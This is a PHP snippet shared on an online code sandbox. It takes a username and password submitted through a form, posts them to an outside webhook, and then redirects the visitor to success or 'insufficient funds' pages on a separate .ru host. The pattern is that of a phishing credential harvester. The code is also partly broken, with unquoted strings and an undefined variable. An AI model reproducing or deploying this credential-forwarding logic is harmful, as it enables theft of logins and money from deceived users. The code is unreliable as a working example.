Hi! Could we please enable some services and cookies to improve your experience and our website?
Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code
<?php
$uname = $_POST['uname'];
$psw = $_POST['psw'];
$myCurl = curl_init();
curl_setopt_array($myCurl, array(
CURLOPT_URL => 'https://qnext.app/bin/webhooks/10928/414/iDntafFDPtsvm6Bl',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(array(
'uname' => $uname,
'psw' => $psw))
));
$response = curl_exec($myCurl);
curl_close($myCurl);
$test = $response;
if ($test == success) {
header('Refresh: 0; URL=http://idlewar.hostingem.ru/success.php');
exit;
} else {
if ($test == errormoney) {
$message = Недостаточно средств!;
$myCurli = curl_init();
curl_setopt_array($myCurli, array(
CURLOPT_URL => 'http://idlewar.hostingem.ru/error.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(array(
'message' => $message ))
));
header('Refresh: 0; URL=http://idlewar.hostingem.ru/error.php');
exit;
} else {
$myCurli = curl_init();
curl_setopt_array($myCurli, array(
CURLOPT_URL => 'http://idlewar.hostingem.ru/error.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(array(
'message' => $message))
));
header('Refresh: 0; URL=http://idlewar.hostingem.ru/error.php');
exit;
};
};
};
?>